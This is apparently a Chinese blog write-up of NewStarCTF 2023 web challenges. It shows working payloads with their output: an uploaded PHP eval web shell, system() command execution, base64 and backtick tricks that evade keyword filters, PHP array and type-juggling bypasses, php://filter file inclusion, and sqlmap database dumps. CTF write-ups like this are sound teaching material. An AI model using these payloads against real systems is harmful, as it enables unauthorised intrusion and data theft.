newstarctf 2023

web

泄漏的秘密

输入www.zip下载
flag在index.php和robots.txt中
拼接起来为
flag

1
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

文件上传题,没有过滤
上传一个1.png(对上传有筛查,只允许png,jpg等等图片格式)

1
2
GIF89A
<?php eval($_POST[a]);?>

抓包,把后缀改为.php
上传后,页面给了一个上传的路径
/upload/1.php

payload:

1
2
3
4
5
6
7
8
9
POST:
a=system('ls');
//1.php

a=system('ls /');
//bin boot dev etc fllll4g home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

a=system('cat /fllll4g');
//flag{5c01bfc6-d871-4676-acb8-735946ea79c4}

Begin of HTTP

按照它的步骤来
1.GET:

1
?Ctf=123

2.POST:

1
2
secret=n3wst4rCTF2023g00000d
//查看源代码知secret

3.Cookie:

1
power=ctfer

4.User Agent:

1
User-Agent: NewStarCTF2023

5.Referer:

1
Referer: newstarctf.com

6.ip伪造(常用的X-Forwarded-For在这里用不了)

1
x-real-ip: 127.0.0.1

flag

1
flag{d9378a7b-35cb-4a50-b743-163b331f9da8} 

ErrorFlask

按提示的来,如果GET两个参数都为数字,会显示not ssti,flag in source code~3
测试几次发现code后的数字为number1+number2,把其中一个改为字符试一试
GET

1
?number1=1&number2=abc

ValueError,倒是符合题目名称
在报错信息中寻找flag

flag

1
flag{Y0u_@re_3enset1ve_4bout_deb8g}

Begin of PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

Level 1
MD5数组绕过

1
?key1[]=1&key2[]=2

Level 2
数组绕过

1
key3[]=1

Level 3
strcmp字符串比较函数,两字符串完全相同返回0,不知道flag,所以用数组绕过NULL==NULL

1
key4[]=1

Level 4
is_numeric还是数组绕过,也可以在最后加入字符

1
2
3
4
5
key5[]=2024
or
key5=2024a
or
key5=2024%20

Level 5
extract($_POST)
变量覆盖所有post输入
foreach($_POST as $var)
foreach语句将遍历数组array,每次循环时,将当前数组中的值赋给var
仔细查看代码可以发现,这一关是没有给flag5赋值的代码
if检测flag5的存在,所以知道让post中有flag5这个变量即可

1
2
3
4
key3[]=1&flag5=?
or
key3[]=1&flag5[]=1

R!C!E!

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

第二个if
if(substr($password,0,6)==="c4d038")
意思是password被MD5加密后的前6位为c4d038
对于第二个if,我们可以自己写一个脚本,或者网上找资源

1
2
3
4
5
6
7
8
9
10
import hashlib

def crack(pre):
for i in range(0, 999999):
if (hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6] == str(pre):
print(i)
break


crack("c4d038")

得出password=114514
接着构造e_v.a.l
注:要把第一个_改为[,这样就不会出错
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了

/flag|system|pass|cat|ls都被过滤了
首先考虑base64编码绕过
注:eval()函数把字符串按照 PHP 代码来计算。字符串必须是合法的 PHP 代码,且必须以分号结尾。

1
2
3
4
5
6
7
8
9
10
11
//base64:system('ls');
password=114514&e[v.a.l=eval(base64_decode('c3lzdGVtKCdscycpOw=='));
// index.php

//base64:system('ls /');
password=114514&e[v.a.l=eval(base64_decode('c3lzdGVtKCdscyAvJyk7'));
//bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

//base64:system('cat /flag');
password=114514&e[v.a.l=eval(base64_decode('c3lzdGVtKCdjYXQgL2ZsYWcnKTs='));
//flag{e6db2c1a-844e-4c2f-b173-6424dddd6511}

方法二:
system还有一种表达方式``(反引号)
使用这种方法要配合echo

1
2
3
4
5
6
7
8
password=114514&e[v.a.l=echo `l''s`;//ls中间为单引号,可以绕过过滤\也可绕过过滤
//index.php

password=114514&e[v.a.l=echo `l\s /`;
//bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

password=114514&e[v.a.l=echo `ca''t /f\lag`;
//flag{e6db2c1a-844e-4c2f-b173-6424dddd6511}

include 0。0

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

@是忽略报错提示
其余代码很简单
本题preg_match不可绕过
过滤的为两个过滤器
换个过滤器即可
找个合适的过滤器真不容易啊o(TヘTo)
payload:

1
2
3
?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php
or
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

Filter伪协议
探索php://filter在实战当中的奇技淫巧

flag

1
flag{9edaf2c9-774d-4c6d-a779-e39c5c1b3482}

游戏高手

f12调试器有游戏的源代码

当gameScore>100000时,gameover()POST了我们的分数到/api.php
这里需要伪造分数POST上传,格式为json

1
2
3
4
POST
{
"score":100001
}


flag

1
flag{c7231da2-bab1-42f4-8ede-b7f249eb335d}

ez_sql

使用sqlmap一把撸

查看数据库

1
2
3
4
5
6
7
8
python sqlmap.py -u "http://19f56f63-b51a-4cf1-95c2-c36947fd7288.node4.buuoj.cn:81/?id=TMP0919" --dbs --batch

[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test

查看数据库里的表

1
2
3
4
5
6
7
python sqlmap.py -u "http://19f56f63-b51a-4cf1-95c2-c36947fd7288.node4.buuoj.cn:81/?id=TMP0919" -D ctf --tables --batch

+--------------+
| grades |
| here_is_flag |
+--------------+

查看数据库里的列

1
2
3
4
5
6
7
python sqlmap.py -u "http://19f56f63-b51a-4cf1-95c2-c36947fd7288.node4.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag --columns

+--------+--------------+
| Column | Type |
+--------+--------------+
| flag | varchar(255) |
+--------+--------------+

查看数据库里具体的值

1
2
3
4
5
6
7
python sqlmap.py -u "http://19f56f63-b51a-4cf1-95c2-c36947fd7288.node4.buuoj.cn:81/?id=TMP0919" -D ctf -T here_is_flag -C flag --dump

+--------------------------------------------+
| flag |
+--------------------------------------------+
| flag{9dcdebb4-55dd-4d4c-80ab-42abcbf5ea0e} |
+--------------------------------------------+

newstarctf 2023
http://example.com/2023/10/16/newstarctf2023/
作者
奇怪的奇怪
发布于
2023年10月16日
许可协议